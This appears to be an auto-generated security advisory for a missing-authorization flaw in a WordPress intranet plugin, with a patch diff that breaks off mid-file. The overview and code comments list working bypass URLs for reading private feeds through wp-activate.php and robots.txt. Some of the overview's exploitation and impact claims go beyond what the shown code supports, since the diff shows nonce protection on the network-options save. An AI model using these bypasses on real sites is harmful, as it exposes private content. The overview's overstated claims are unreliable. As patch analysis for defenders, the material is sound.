Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : June 27, 2026

CVE-2026-54837: Intranet & Private Site – All-In-One Intranet <= 1.8.1 Missing Authorization PoC, Patch Analysis & Rule

Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 1.8.1
Patched Version 1.9.0
Disclosed June 17, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-54837:

This vulnerability is a missing authorization issue in the All-In-One Intranet plugin for WordPress, affecting versions up to and including 1.8.1. The plugin fails to properly gate several non-theme WordPress endpoints (admin-ajax.php, admin-post.php, wp-links-opml.php) and also lacks a capability check on the aioi_save_network_options() function, allowing unauthenticated attackers to perform unauthorized actions.

Root Cause: The vulnerable code in core/core_all_in_one_intranet.php lacks proper authorization checks on several key functions. In the 1.8.1 version, the aioi_save_network_options() method at line 807 does not verify the ‘manage_network_options’ capability before processing network settings. Additionally, the plugin fails to gate admin-ajax.php and admin-post.php endpoints, meaning any wp_ajax_nopriv_* or admin_post_nopriv_* handlers registered by the active theme or another plugin would run fully unauthenticated while the site is marked as private. The original aioi_template_redirect() also used a flawed path-matching approach that allowed bypasses via percent-encoded dots and PATH_INFO vectors.

Exploitation: An unauthenticated attacker can directly access the network options saving functionality by sending a POST request to /wp-admin/network/options.php or to the plugin’s internal save endpoint without any capability check. For the admin-ajax.php vector, the attacker can call any wp_ajax_nopriv_* action handler registered by other plugins, breaking the plugin’s guarantee of complete privacy. The lack of gating on wp-links-opml.php allows anonymous attackers to retrieve the site’s link list, site title, and WordPress version via direct access to /wp-links-opml.php.

Patch Analysis: The patch in version 1.9.0 adds the missing capability check to aioi_save_network_options() by verifying current_user_can(‘manage_network_options’) before processing. It also introduces new gating methods: aioi_gate_admin_endpoints() hooks into ‘init’ to block unauthenticated access to admin-ajax.php and admin-post.php, aioi_gate_opml() blocks wp-links-opml.php, and aioi_comments_open() blocks comment/ping submissions from non-authenticated users. The aioi_template_redirect() function is hardened to use $pagenow comparisons instead of raw REQUEST_URI string matching, and a static guard prevents double execution. A new must-use (MU) plugin shim (core/mu-shim/aioi-installing-gate.php) is deployed to gate wp-activate.php content leaks even during WordPress installation contexts.

Impact: Successful exploitation allows unauthenticated attackers to modify plugin network options (including disabling the private site enforcement), bypass the privacy restrictions to access protected content via AJAX or admin-post handlers, and retrieve sensitive site information (link lists, WordPress version) from unauthenticated endpoints. On multisite installations, this could allow attackers to escalate privileges by modifying membership requirements.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/all-in-one-intranet/basic_all_in_one_intranet.php
+++ b/all-in-one-intranet/basic_all_in_one_intranet.php
@@ -5,7 +5,7 @@
  * Description:       Instantly turn WordPress into a private corporate intranet.
  * Requires at least: 5.5
  * Requires PHP:      7.0
- * Version:           1.8.1
+ * Version:           1.9.0
  * Author:            WP-Glogin
  * Author URI:        https://wp-glogin.com/
  * Network:           true
@@ -26,13 +26,17 @@
  *  along with All-In-One Intranet. If not, see <https://www.gnu.org/licenses/>.
  */

+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
 if ( ! class_exists( 'core_all_in_one_intranet' ) ) {
 	require_once( plugin_dir_path( __FILE__ ) . '/core/core_all_in_one_intranet.php' );
 }

 class aioi_basic_all_in_one_intranet extends core_all_in_one_intranet {

-	public $PLUGIN_VERSION = '1.8.1';
+	public $PLUGIN_VERSION = '1.9.0';

 	// Singleton.
 	private static $instance = null;
@@ -85,3 +89,12 @@

 // Initialize at least once.
 BasicAllInOneIntranet();
+
+// Plant the must-use shim on activation and tear it down on deactivation. The
+// shim closes the /wp-activate.php content-leak surface on installs where the
+// main plugin can't help — wp-activate.php defines WP_INSTALLING before
+// loading WordPress, and wp_get_active_and_valid_plugins() then skips loading
+// regular plugins entirely. See core/mu-shim/core_aioi_mu_shim.php and
+// core/mu-shim/aioi-installing-gate.php for the source of truth.
+register_activation_hook( __FILE__, [ 'core_aioi_mu_shim', 'ensure' ] );
+register_deactivation_hook( __FILE__, [ 'core_aioi_mu_shim', 'remove' ] );
--- a/all-in-one-intranet/core/core_all_in_one_intranet.php
+++ b/all-in-one-intranet/core/core_all_in_one_intranet.php
@@ -1,5 +1,11 @@
 <?php

+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+require_once __DIR__ . '/mu-shim/core_aioi_mu_shim.php';
+
 class core_all_in_one_intranet {

 	protected $aioi_options = null;
@@ -13,6 +19,22 @@
 	 */
 	protected function add_actions() {

+		// Keep the must-use shim in sync with the canonical source on every
+		// request, not just on plugin activation. register_activation_hook fires
+		// only on a fresh activate — it does NOT fire when an existing install is
+		// updated, so existing customers updating to this release would otherwise
+		// have no shim until the next admin visit. The shim is also the only way
+		// to gate /wp-activate.php on single-site (or non-network-activated
+		// multisite) installs: wp-activate.php defines WP_INSTALLING before
+		// bootstrapping WordPress, which makes wp-settings.php skip loading
+		// regular plugins entirely (see wp_get_active_and_valid_plugins() in
+		// wp-includes/load.php). MU plugins still load on that path, so the shim
+		// enforces the auth gate before template-loader.php would otherwise
+		// output protected feed content. core_aioi_mu_shim::ensure() is
+		// idempotent — it compares the installed copy's size and mtime against
+		// the source and only re-copies when they differ.
+		add_action( 'plugins_loaded', [ 'core_aioi_mu_shim', 'ensure' ], 0 );
+
 		if ( is_admin() ) {
 			add_action( 'admin_init', [ $this, 'aioi_admin_init' ], 5, 0 );

@@ -26,17 +48,62 @@
 			}
 		}

-		add_action( 'template_redirect', [ $this, 'aioi_template_redirect' ] );
+		// Run the auth gate from both 'wp' and 'template_redirect'.
+		// - 'template_redirect' priority 1 puts the gate before redirect_canonical
+		//   (priority 10), preventing post-slug leaks via 301 Location.
+		// - 'wp' priority 1 catches non-theme entry points (wp-signup.php,
+		//   wp-trackback.php, etc.) where template_redirect never fires because
+		//   wp_using_themes() is false — yet template-loader.php still runs the
+		//   unconditional is_feed/is_trackback/is_robots/is_favicon block, which
+		//   would otherwise leak feeds to anonymous visitors.
+		// aioi_template_redirect() uses a static guard so it only runs once per request.
+		// Skip the 'wp' hook on admin and CLI contexts: admin pages internally
+		// call wp() (e.g. list tables in wp-admin/includes/post.php), and WP-CLI
+		// commands may too. Admin has its own auth; CLI shouldn't be redirected.
+		if ( ! is_admin() && ! ( defined( 'WP_CLI' ) && WP_CLI ) ) {
+			add_action( 'wp', [ $this, 'aioi_template_redirect' ], 1 );
+		}
+		add_action( 'template_redirect', [ $this, 'aioi_template_redirect' ], 1 );
 		add_filter( 'robots_txt', [ $this, 'aioi_robots_txt' ], 0, 2 );
 		add_filter( 'option_ping_sites', [ $this, 'aioi_option_ping_sites' ], 0, 1 );
 		add_filter( 'rest_pre_dispatch', [ $this, 'aioi_rest_pre_dispatch' ], 0, 1 );
 		add_filter( 'xmlrpc_enabled', [ $this, 'aioi_xmlrpc_enabled' ] );

+		// wp-comments-post.php loads wp-load.php directly without calling wp(), so
+		// neither 'template_redirect' nor 'wp' fires on that endpoint —
+		// wp_handle_comment_submission() runs ungated. Gate anonymous comment
+		// submissions through 'comments_open', which it consults before insertion.
+		// 'pings_open' is defense-in-depth for wp-trackback.php: that endpoint does
+		// call wp(), but trackback writes shouldn't rely on the 'wp' hook alone.
+		add_filter( 'comments_open', [ $this, 'aioi_comments_open' ], 10, 2 );
+		add_filter( 'pings_open', [ $this, 'aioi_comments_open' ], 10, 2 );
+
 		add_filter( 'login_redirect', [ $this, 'aioi_login_redirect' ], 10, 3 );

 		add_action( 'wp_login', [ $this, 'aioi_wp_login' ], 10, 2 );
 		add_action( 'init', [ $this, 'aioi_check_activity' ], 1 );

+		// wp-links-opml.php require()s wp-load.php and prints the blogroll as OPML
+		// without ever calling wp(), so neither 'wp' nor 'template_redirect' fires
+		// and the link list (plus the site title and WordPress generator version)
+		// would leak to anonymous visitors on a private site. 'init' priority 1 is
+		// the earliest shared hook that runs on that endpoint — regular plugins are
+		// loaded and pluggable.php is available by then — and it fires before any
+		// OPML output. The handler is scoped to $pagenow, so it stays inert on
+		// every other request (admin, CLI, REST, normal front end).
+		add_action( 'init', [ $this, 'aioi_gate_opml' ], 1 );
+
+		// admin-ajax.php and admin-post.php both make is_admin() true, so the 'wp'
+		// gate above is deliberately skipped on them and 'template_redirect' never
+		// fires — and rest_pre_dispatch does not cover them either. That leaves any
+		// wp_ajax_nopriv_* / admin_post_nopriv_* handler registered by the active
+		// theme or another plugin running fully unauthenticated while the site is
+		// private. Gate both on 'init' priority 1 (the earliest shared hook on
+		// these endpoints, after pluggable.php is loaded and before they dispatch
+		// their nopriv action). Scoped to wp_doing_ajax() / $pagenow so it stays
+		// inert on every other request.
+		add_action( 'init', [ $this, 'aioi_gate_admin_endpoints' ], 1 );
+
 		if ( is_multisite() ) {
 			add_action( 'wpmu_new_user', [ $this, 'aioi_wpmu_new_user' ], 10, 1 );
 			add_action( 'wpmu_new_blog', [ $this, 'aioi_wpmu_new_blog' ], 10, 6 );
@@ -68,6 +135,13 @@
 	 */
 	public function aioi_template_redirect() {

+		// Hooked on both 'wp' and 'template_redirect'. Run once.
+		static $already_ran = false;
+		if ( $already_ran ) {
+			return;
+		}
+		$already_ran = true;
+
 		$options = $this->get_option_aioi();

 		// Do nothing if private site is off.
@@ -77,11 +151,40 @@

 		$allow_access = false;

-		// Allow certain URLs.
-		if (
-			substr( $_SERVER['REQUEST_URI'], 0, 16 ) === '/wp-activate.php' ||
-			substr( $_SERVER['REQUEST_URI'], 0, 11 ) === '/robots.txt'
-		) {
+		// Allow certain URLs. Compare the parsed path exactly — a prefix match on
+		// the raw REQUEST_URI lets paths like /robots.txt/?p=7 bypass the auth gate
+		// and still be routed by WordPress to the underlying post/feed.
+		$request_path = isset( $_SERVER['REQUEST_URI'] )
+			? (string) wp_parse_url( wp_unslash( $_SERVER['REQUEST_URI'] ), PHP_URL_PATH )
+			: '';
+
+		// Derive expected paths at runtime so the gate works on subdirectory installs
+		// (where WP lives at /wp/, so robots.txt is at /wp/robots.txt) and on
+		// multisite subdirectory subsites (where home is at /siteN/).
+		$home_path   = (string) wp_parse_url( home_url( '/' ), PHP_URL_PATH );
+		$home_prefix = ( '' === $home_path || '/' === $home_path ) ? '' : rtrim( $home_path, '/' );
+		$robots_path = $home_prefix . '/robots.txt';
+
+		// The static-path allowances below (robots.txt and wp-activate.php) let an
+		// unauthenticated request reach WordPress without the auth gate, so each
+		// must first confirm the request is not ALSO being routed to content via a
+		// recognized query var — see aioi_request_has_routing_query_var().
+		global $pagenow;
+
+		if ( $request_path === $robots_path && ! $this->aioi_request_has_routing_query_var() ) {
+			$allow_access = true;
+		}
+
+		// Use the $pagenow global rather than REQUEST_URI path matching for the
+		// wp-activate.php check. WordPress derives $pagenow from PHP_SELF via a
+		// regex that survives trailing-slash PATH_INFO and percent-encoded dots
+		// (e.g. /wp-activate.php/?feed=rss2 and /wp-activate%2Ephp?feed=rss2 both
+		// route to wp-activate.php in PHP-FPM, and $pagenow resolves to
+		// 'wp-activate.php' in both cases — REQUEST_URI string compare did not).
+		// wp-activate.php loads wp-blog-header.php, which runs WP::main() and
+		// template-loader.php before the script's own redirect/render logic, so
+		// feed/REST output can be emitted before wp-activate.php itself runs.
+		if ( isset( $pagenow ) && 'wp-activate.php' === $pagenow && ! $this->aioi_request_has_routing_query_var() ) {
 			$allow_access = true;
 		}

@@ -99,16 +202,68 @@

 		if ( is_multisite() ) {
 			$this->handle_private_loggedin_multisite( $options );
-		} else {
-			// Restrict access to users with no role.
-			$user = wp_get_current_user();
-			if ( ! $user || ! is_array( $user->roles ) || count( $user->roles ) == 0 ) {
-				wp_logout();
-				wp_die(
-					'<p>' . esc_html__( 'You attempted to login to the site, but you do not have any permissions. If you believe you should have access, please contact your administrator.', 'all-in-one-intranet' ) . '</p>'
-				);
-			}
+		} elseif ( ! $this->aioi_user_has_role() ) {
+			// Restrict access to logged-in users with no role.
+			wp_logout();
+			wp_die(
+				'<p>' . esc_html__( 'You attempted to login to the site, but you do not have any permissions. If you believe you should have access, please contact your administrator.', 'all-in-one-intranet' ) . '</p>'
+			);
+		}
+	}
+
+	/**
+	 * Whether the current request carries a recognized WordPress query var that
+	 * would route it to content.
+	 *
+	 * Qualifies the static-path allowances in aioi_template_redirect() (robots.txt
+	 * and wp-activate.php): those paths are allowed past the private-site gate
+	 * unauthenticated, but only when the request is not also asking WordPress to
+	 * render something else. WP::parse_request() lets $_POST/$_GET override a
+	 * path's rewrite vars and also routes from the URL path itself (pretty
+	 * permalinks / PATH_INFO), so /robots.txt?robots=0&feed=rss2 or
+	 * /wp-activate.php/feed/rss2/ would otherwise emit the protected feed.
+	 *
+	 * Checks both sources WordPress routes from: the keys of $_GET/$_POST against
+	 * WP::$public_query_vars (extended via the `query_vars` filter inside
+	 * parse_request(), which is how the REST API adds `rest_route` and plugins
+	 * register their own routing vars), and the parsed feed/rest_route query vars
+	 * (which path routing can set without them ever appearing in the superglobals).
+	 * Keep in sync with core/mu-shim/aioi-installing-gate.php.
+	 *
+	 * Fails closed: if the global $wp request object is not available/parsed we
+	 * cannot tell where the request routes, so it is reported as carrying query
+	 * vars and the allowance does not fire.
+	 *
+	 * @return bool
+	 */
+	protected function aioi_request_has_routing_query_var() {
+
+		global $wp;
+
+		if ( ! isset( $wp ) || ! is_array( $wp->public_query_vars ) ) {
+			return true;
 		}
+
+		// WordPress populates routing query vars from $_POST as well as $_GET
+		// (WP::parse_request()), so a $_GET-only check is bypassable with a POST
+		// body — match the keys of both superglobals.
+		// phpcs:ignore WordPress.Security.NonceVerification.Missing, WordPress.Security.NonceVerification.Recommended
+		$request_keys = array_merge( array_keys( $_GET ), array_keys( $_POST ) );
+
+		if ( array_intersect( $request_keys, $wp->public_query_vars ) ) {
+			return true;
+		}
+
+		// feed and rest_route are the content-read vectors reachable from these
+		// static paths: wp_using_themes() is false on wp-activate.php, so
+		// template-loader.php skips theme rendering and runs only its unconditional
+		// feed block, while REST dispatches from rest_api_loaded(). Reading the
+		// parsed query vars also catches pretty-permalink routing (e.g.
+		// /wp-activate.php/feed/rss2/ or .../wp-json/...) that never appears in
+		// $_GET/$_POST.
+		$query_vars = is_array( $wp->query_vars ) ? $wp->query_vars : [];
+
+		return ! empty( $query_vars['feed'] ) || ! empty( $query_vars['rest_route'] );
 	}

 	/**
@@ -118,52 +273,103 @@
 	 */
 	protected function handle_private_loggedin_multisite( $options ) {

-		if ( ! is_multisite() ) {
+		if ( $this->aioi_user_is_subsite_member( $options ) ) {
 			return;
 		}

-		if ( ! $options['aioi_ms_requiremember'] ) {
-			return;
+		// The logged-in user is not a member of this sub-site.
+		$blogs     = get_blogs_of_user( get_current_user_id() );
+		$blog_name = get_bloginfo( 'name' );
+
+		$output = '<p>' . esc_html(
+			sprintf( /* translators: %s - name of the site. */
+				__( 'You attempted to access the "%1$s" sub-site, but you are not currently a member of this site. If you believe you should be able to access "%1$s", please contact your network administrator.', 'all-in-one-intranet' ),
+				$blog_name
+			)
+			) . '</p>';
+
+		if ( ! empty( $blogs ) ) {
+
+			$output .= '<p>' . esc_html__( 'You are a member of the following sites:', 'all-in-one-intranet' ) . '</p>';
+
+			$output .= '<table>';
+
+			foreach ( $blogs as $blog ) {
+				$output .= "<tr>";
+				$output .= "<td valign='top'>";
+				$output .= "<a href='" . esc_url( get_home_url( $blog->userblog_id ) ) . "'>" . esc_html( $blog->blogname ) . "</a>";
+				$output .= "</td>";
+				$output .= "</tr>";
+			}
+			$output .= '</table>';
 		}

-		if ( is_network_admin() ) {
-			return;
+		// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
+		wp_die( $output );
+	}
+
+	/**
+	 * Whether the current logged-in user is a member of the current sub-site.
+	 *
+	 * Returns true (access permitted) whenever the membership requirement does
+	 * not apply: non-multisite installs, the requirement toggled off, or the
+	 * network admin. Shared by handle_private_loggedin_multisite() (frontend)
+	 * and aioi_is_access_allowed() (REST) so both decide membership identically.
+	 *
+	 * @param array $options Plugin options.
+	 *
+	 * @return bool
+	 */
+	protected function aioi_user_is_subsite_member( $options ) {
+
+		if ( ! is_multisite() || empty( $options['aioi_ms_requiremember'] ) || is_network_admin() ) {
+			return true;
 		}

-		// Need to check logged-in user is a member of this sub-site.
 		$blogs = get_blogs_of_user( get_current_user_id() );

-		if ( ! wp_list_filter( $blogs, [ 'userblog_id' => get_current_blog_id() ] ) ) {
-			// So the user is not a member, let's proceed.
-
-			$blog_name = get_bloginfo( 'name' );
+		return (bool) wp_list_filter( $blogs, [ 'userblog_id' => get_current_blog_id() ] );
+	}

-			$output = '<p>' . esc_html(
-				sprintf( /* translators: %s - name of the site. */
-					__( 'You attempted to access the "%1$s" sub-site, but you are not currently a member of this site. If you believe you should be able to access "%1$s", please contact your network administrator.', 'all-in-one-intranet' ),
-					$blog_name
-				)
-				) . '</p>';
+	/**
+	 * Whether the current logged-in user has at least one role on this site.
+	 *
+	 * @return bool
+	 */
+	protected function aioi_user_has_role() {

-			if ( ! empty( $blogs ) ) {
+		$user = wp_get_current_user();

-				$output .= '<p>' . esc_html__( 'You are a member of the following sites:', 'all-in-one-intranet' ) . '</p>';
+		return $user && is_array( $user->roles ) && count( $user->roles ) > 0;
+	}

-				$output .= '<table>';
+	/**
+	 * Whether the current request may access content while the site is private.
+	 *
+	 * Single source of truth for the login + role/membership rules, so the REST
+	 * gate (aioi_rest_pre_dispatch) enforces the same parity as the frontend
+	 * gate (aioi_template_redirect). The frontend-only URL allowances
+	 * (robots.txt, wp-activate.php) are applied by the caller, not here.
+	 * Anonymous users are reported as not allowed; the caller maps that to the
+	 * appropriate response (auth_redirect / 401 vs wp_die / 403).
+	 *
+	 * @param array $options Plugin options.
+	 *
+	 * @return bool
+	 */
+	protected function aioi_is_access_allowed( $options ) {

-				foreach ( $blogs as $blog ) {
-					$output .= "<tr>";
-					$output .= "<td valign='top'>";
-					$output .= "<a href='" . esc_url( get_home_url( $blog->userblog_id ) ) . "'>" . esc_html( $blog->blogname ) . "</a>";
-					$output .= "</td>";
-					$output .= "</tr>";
-				}
-				$output .= '</table>';
-			}
+		if ( empty( $options['aioi_privatesite'] ) ) {
+			return true;
+		}

-			// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
-			wp_die( $output );
+		if ( ! is_user_logged_in() ) {
+			return false;
 		}
+
+		return is_multisite()
+			? $this->aioi_user_is_subsite_member( $options )
+			: $this->aioi_user_has_role();
 	}

 	/**
@@ -179,7 +385,7 @@
 		$options = $this->get_option_aioi();

 		if ( $options['aioi_privatesite'] ) {
-			return "Disallow: /n";
+			return "User-agent: *nDisallow: /n";
 		}

 		return $output;
@@ -200,21 +406,32 @@
 	}

 	/**
-	 * Disable REST API.
+	 * Gate the REST API on private sites.
+	 *
+	 * Enforces the same role/membership parity as the frontend gate via
+	 * aioi_is_access_allowed(): anonymous requests get 401 (authenticate),
+	 * while logged-in-but-unauthorized requests (no role on single-site, or not
+	 * a member of this sub-site on multisite) get 403 — matching the frontend's
+	 * auth_redirect() / wp_die() split.
 	 *
-	 * @return WP_Error
+	 * @param mixed $result REST dispatch result; returned unchanged when access is allowed.
+	 *
+	 * @return mixed|WP_Error
 	 */
 	public function aioi_rest_pre_dispatch( $result ) {

 		$options      = $this->get_option_aioi();
-		$allow_access = ! $options['aioi_privatesite'] || is_user_logged_in();
-		$allow_access = (bool) apply_filters( 'aioi_allow_public_access', $allow_access );
+		$allow_access = (bool) apply_filters( 'aioi_allow_public_access', $this->aioi_is_access_allowed( $options ) );

-		if ( ! $allow_access ) {
+		if ( $allow_access ) {
+			return $result;
+		}
+
+		if ( ! is_user_logged_in() ) {
 			return new WP_Error( 'not-logged-in', 'REST API Requests must be authenticated because All-In-One Intranet is active', [ 'status' => 401 ] );
 		}

-		return $result;
+		return new WP_Error( 'not-authorized', 'You are not authorized to access this site because All-In-One Intranet is active', [ 'status' => 403 ] );
 	}

 	/**
@@ -236,6 +453,118 @@
 	}

 	/**
+	 * Force comments and pingbacks closed for anonymous visitors on private sites.
+	 *
+	 * Shared callback for 'comments_open' and 'pings_open'; see the filter
+	 * registrations in add_actions() for the rationale.
+	 *
+	 * @param bool $open    Whether commenting/pinging is currently open for the post.
+	 * @param int  $post_id Post ID being checked.
+	 *
+	 * @return bool
+	 */
+	public function aioi_comments_open( $open, $post_id ) {
+
+		$options      = $this->get_option_aioi();
+		$allow_access = (bool) apply_filters( 'aioi_allow_public_access', $this->aioi_is_access_allowed( $options ) );
+
+		if ( ! $allow_access ) {
+			return false;
+		}
+
+		return $open;
+	}
+
+	/**
+	 * Gate wp-links-opml.php on private sites.
+	 *
+	 * wp-links-opml.php require()s wp-load.php and prints the blogroll as OPML
+	 * directly — it never calls wp(), so neither the 'wp' nor 'template_redirect'
+	 * gate fires and the link list (plus the site title and WordPress generator
+	 * version) would otherwise leak to anonymous visitors while the site is
+	 * private. Hooked on 'init' priority 1, which runs on that endpoint before any
+	 * output is sent. The endpoint is identified via the $pagenow global (derived
+	 * from PHP_SELF, robust to trailing-slash PATH_INFO and percent-encoded dots)
+	 * rather than a REQUEST_URI compare, matching the wp-activate.php check.
+	 * Enforces the same login + role/membership parity as the REST gate via
+	 * aioi_is_access_allowed(): anonymous users are sent to the login wall, while
+	 * logged-in-but-unauthorized users get a 403.
+	 */
+	public function aioi_gate_opml() {
+
+		global $pagenow;
+
+		if ( ! isset( $pagenow ) || 'wp-links-opml.php' !== $pagenow ) {
+			return;
+		}
+
+		$options      = $this->get_option_aioi();
+		$allow_access = (bool) apply_filters( 'aioi_allow_public_access', $this->aioi_is_access_allowed( $options ) );
+
+		if ( $allow_access ) {
+			return;
+		}
+
+		if ( ! is_user_logged_in() ) {
+			auth_redirect();
+			exit;
+		}
+
+		wp_die(
+			'<p>' . esc_html__( 'You do not have permission to access this resource. If you believe you should have access, please contact your administrator.', 'all-in-one-intranet' ) . '</p>',
+			'',
+			[ 'response' => 403 ]
+		);
+	}
+
+	/**
+	 * Gate admin-ajax.php and admin-post.php on private sites.
+	 *
+	 * Both endpoints set is_admin() to true, so the 'wp' auth gate is intentionally
+	 * not registered for them and 'template_redirect' never fires there, while
+	 * rest_pre_dispatch only covers the REST API. Without this gate, any
+	 * wp_ajax_nopriv_* / admin_post_nopriv_* handler (registered by the active
+	 * theme or another plugin) would run fully unauthenticated while the site is
+	 * private, breaking the "entirely private" guarantee. Hooked on 'init'
+	 * priority 1 — the earliest shared hook that runs on these endpoints, after
+	 * pluggable.php is available and before admin-ajax.php / admin-post.php
+	 * dispatch their (nopriv) action. admin-ajax.php defines DOING_AJAX before
+	 * bootstrap so wp_doing_ajax() is reliable here; admin-post.php is identified
+	 * via the $pagenow global, matching the OPML gate. Enforces the same login +
+	 * role/membership parity as the REST gate via aioi_is_access_allowed():
+	 * anonymous users are sent to the login wall, logged-in-but-unauthorized users
+	 * get a 403.
+	 */
+	public function aioi_gate_admin_endpoints() {
+
+		global $pagenow;
+
+		$is_admin_post = isset( $pagenow ) && 'admin-post.php' === $pagenow;
+
+		if ( ! wp_doing_ajax() && ! $is_admin_post ) {
+			return;
+		}
+
+		$options      = $this->get_option_aioi();
+		$allow_access = (bool) apply_filters( 'aioi_allow_public_access', $this->aioi_is_access_allowed( $options ) );
+
+		if ( $allow_access ) {
+			return;
+		}
+
+		if ( ! is_user_logged_in() ) {
+			auth_redirect();
+			exit;
+		}
+
+		wp_die(
+			'<p>' . esc_html__( 'You do not have permission to access this resource. If you believe you should have access, please contact your administrator.', 'all-in-one-intranet' ) . '</p>',
+			'',
+			[ 'response' => 403 ]
+		);
+	}
+
+	/**
 	 * Redirect on login event.
 	 *
 	 * @param string  $redirect_to
@@ -291,11 +620,18 @@
 			$logout_time_in_sec > 0 &&
 			$last_activity_time + $logout_time_in_sec < time()
 		) {
-			$current_url = 'http' . ( isset( $_SERVER['HTTPS'] ) ? 's' : '' ) . '://' . "{$_SERVER['HTTP_HOST']}{$_SERVER['REQUEST_URI']}";
+			// Bounce the user back to the page they were on so the private-site
+			// login wall catches them. Use the request URI (path and query) but
+			// never the attacker-influenced Host header; esc_url_raw() keeps any
+			// percent-encoding intact (sanitize_text_field() would strip it), and
+			// wp_safe_redirect() rejects an off-site target (a "//evil.com/x"
+			// request falls back to wp-admin, i.e. the login wall), so no scheme
+			// detection (is_ssl()) is needed.
+			$current_url = esc_url_raw( wp_unslash( $_SERVER['REQUEST_URI'] ?? '/' ) );

 			wp_logout();
 			// Should hit the Login wall if site is private.
-			wp_redirect( $current_url );
+			wp_safe_redirect( $current_url );
 			exit;
 		}

@@ -468,9 +804,22 @@
 			$newinput['aioi_autologout_units'] = 'minutes';
 		}

-		$newinput['aioi_loginredirect'] = isset( $input['aioi_loginredirect'] ) ? sanitize_text_field( $input['aioi_loginredirect'] ) : '';
-
-		$newinput['aioi_ms_membersrole'] = isset( $input['aioi_ms_membersrole'] ) ? sanitize_text_field( $input['aioi_ms_membersrole'] ) : '';
+		// Normalize the post-login redirect before sanitizing. A bare site path like
+		// "dashboard" or "team/" has no scheme, so esc_url_raw() would rewrite it to
+		// "http://dashboard"; prepend a leading slash to keep it site-relative. Values
+		// that already start with "/" or carry a scheme (http://, https://, ...) are
+		// left as-is. Stored values are only normalized when settings are re-saved.
+		$redirect = isset( $input['aioi_loginredirect'] ) ? trim( $input['aioi_loginredirect'] ) : '';
+
+		if ( $redirect !== '' && strpos( $redirect, '/' ) !== 0 && ! preg_match( '#^[a-z][a-z0-9+.-]*://#i', $redirect ) ) {
+			$redirect = '/' . $redirect;
+		}
+		$newinput['aioi_loginredirect'] = esc_url_raw( $redirect );
+
+		$members_role = isset( $input['aioi_ms_membersrole'] ) ? sanitize_text_field( $input['aioi_ms_membersrole'] ) : '';
+		// Allowlist against registered roles so a crafted POST or a stale role from a
+		// removed provider can't persist; '' keeps the "None" (auto-membership off) option.
+		$newinput['aioi_ms_membersrole'] = ( $members_role === '' || array_key_exists( $members_role, get_editable_roles() ) ) ? $members_role : '';

 		return $newinput;
 	}
@@ -617,7 +966,7 @@

 			if ( is_array( $limited_domains ) && count( $limited_domains ) > 0 ) {
 				 esc_html_e( 'Your site is set so that "Anyone can register" themselves, provided they are members of one of the following domains:', 'all-in-one-intranet' );
-				 esc_html_e( ' ' . implode( ', ', $limited_domains ) );
+				echo ' ' . esc_html( implode( ', ', $limited_domains ) );
 			} else {
 				esc_html_e( 'Warning: Your site is set so that "Anyone can register" themselves.', 'all-in-one-intranet' );
 			}
@@ -807,6 +1156,14 @@
 	 */
 	public function aioi_save_network_options() {

+		if ( ! current_user_can( 'manage_network_options' ) ) {
+			wp_die(
+				esc_html__( 'Sorry, you are not allowed to perform this action.', 'all-in-one-intranet' ),
+				'',
+				[ 'response' => 403 ]
+			);
+		}
+
 		check_admin_referer( $this->get_options_pagename() . '-options' );

 		if ( isset( $_POST[ $this->get_options_name() ] ) && is_array( $_POST[ $this->get_options_name() ] ) ) {
@@ -907,4 +1264,5 @@

 		return $this->aioi_options;
 	}
+
 }
--- a/all-in-one-intranet/core/mu-shim/aioi-installing-gate.php
+++ b/all-in-one-intranet/core/mu-shim/aioi-installing-gate.php
@@ -0,0 +1,141 @@
+<?php
+/**
+ * Plugin Name: All-In-One Intranet - wp-activate.php gate
+ * Description: All-In-One Intranet security companion: blocks a /wp-activate.php content leak when the main plugin can't load. Auto-managed; safe to delete if you removed the plugin manually (e.g. via FTP).
+ * Version:     1.9.0
+ * Author:      WP-Glogin
+ * License:     GPL-3.0-or-later
+ *
+ * Canonical source lives inside the main plugin at
+ * wp-content/plugins/all-in-one-intranet/core/mu-shim/aioi-installing-gate.php
+ * (and the same path under AllInOneIntranet-premium/ for the Premium edition).
+ * The main plugin keeps this copy in wp-content/mu-plugins/ in sync with the
+ * source, re-copying whenever their size or modification time differs. Edit
+ * only the source; changes made directly to the copy may be overwritten.
+ *
+ * Self-contained by design: it calls only WordPress core functions and never
+ * references the main plugin, so it loads and runs without error even when
+ * All-In-One Intranet is deactivated (plugins screen, WP-CLI, or the
+ * active_plugins filter) or its files are removed. The plugin deletes this
+ * file on deactivation; a copy left behind by a manual/FTP removal is harmless
+ * and can be deleted by hand.
+ */
+
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+// Only act while wp-activate.php is bootstrapping (WP_INSTALLING true). In
+// every other context the main plugin's normal auth gate handles the request.
+if ( ! function_exists( 'wp_installing' ) || ! wp_installing() ) {
+	return;
+}
+
+add_action(
+	'parse_request',
+	static function ( $wp_obj ) {
+
+		// $pagenow is set by wp-includes/vars.php before this hook fires. It is
+		// derived from PHP_SELF via a regex that strips PATH_INFO and survives
+		// percent-encoded dots, so it matches 'wp-activate.php' for /wp-activate.php,
+		// /wp-activate.php/?feed=rss2, and /wp-activate%2Ephp?feed=rss2 alike — a
+		// REQUEST_URI string compare would let the last two through.
+		global $pagenow;
+		if ( ! isset( $pagenow ) || 'wp-activate.php' !== $pagenow ) {
+			return;
+		}
+
+		// Use WP's own recognized-query-var list as the source of truth. By the
+		// time the `parse_request` action fires, `$wp_obj->public_query_vars` has
+		// already been extended via the `query_vars` filter — that's how WP core's
+		// REST API adds `rest_route`, and how any MU/network-activated plugin
+		// registers its own routing vars. Anything NOT on that list (the activation
+		// key, marketing tracking, ad-click IDs, custom params) passes through.
+		// Hooked at priority 1 to run before `rest_api_loaded()` (priority 10)
+		// dispatches a REST request and before template-loader.php runs do_feed().
+		$public_vars = ( is_object( $wp_obj ) && isset( $wp_obj->public_query_vars ) && is_array( $wp_obj->public_query_vars ) )
+			? $wp_obj->public_query_vars
+			: [];
+		$query_vars  = ( is_object( $wp_obj ) && isset( $wp_obj->query_vars ) && is_array( $wp_obj->query_vars ) )
+			? $wp_obj->query_vars
+			: [];
+
